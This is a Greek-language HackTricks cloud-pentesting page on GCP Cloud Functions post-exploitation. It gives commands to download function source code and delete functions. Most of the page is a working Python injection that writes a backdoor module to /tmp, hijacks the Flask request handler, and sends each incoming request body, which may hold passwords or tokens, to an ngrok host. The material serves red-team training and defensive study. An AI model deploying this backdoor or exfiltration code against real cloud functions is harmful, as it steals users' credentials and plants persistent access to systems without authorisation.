GCP - Cloud Functions Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cloud Functions

Βρείτε πληροφορίες για Cloud Functions στο:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Με αυτή την άδεια μπορείτε να αποκτήσετε ένα signed URL για να μπορέσετε να κατεβάσετε τον source code της Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

cloudfunctions.functions.delete

Η άδεια cloudfunctions.functions.delete επιτρέπει σε μια ταυτότητα να διαγράψει εντελώς ένα Cloud Function, συμπεριλαμβανομένου του κώδικα, της διαμόρφωσης, των ενεργοποιητών και της συσχέτισής του με λογαριασμούς υπηρεσίας.

gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet

Εξαγωγή κώδικα μέσω του bucket

Τα storage.objects.get και storage.objects.list δικαιώματα επιτρέπουν την απαρίθμηση και την ανάγνωση αντικειμένων μέσα σε ένα bucket, και στην περίπτωση των Cloud Functions αυτό είναι ιδιαίτερα σχετικό γιατί κάθε function αποθηκεύει τον source code του σε ένα αυτόματα διαχειριζόμενο Google bucket, το όνομα του οποίου ακολουθεί τη μορφή gcf-sources-<PROJECT_NUMBER>-<REGION>

Κλοπή αιτημάτων Cloud Function

Εάν το Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που στέλνουν οι χρήστες (π.χ. passwords ή tokens), με επαρκή προνόμια θα μπορούσατε να τροποποιήσετε τον πηγαίο κώδικα της function και να exfiltrate αυτές τις πληροφορίες.

Επιπλέον, τα Cloud Functions που τρέχουν σε python χρησιμοποιούν flask για να εκθέσουν τον web server. Αν βρείτε κάποιο code injection vulnerability μέσα στη διαδικασία του flask (π.χ. μια SSTI ευπάθεια), είναι πιθανό να override the function handler που θα λαμβάνει τα HTTP requests για μία malicious function που μπορεί να exfiltrate the request πριν το περάσει στον νόμιμο handler.

Για παράδειγμα, αυτός ο κώδικας υλοποιεί την επίθεση:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks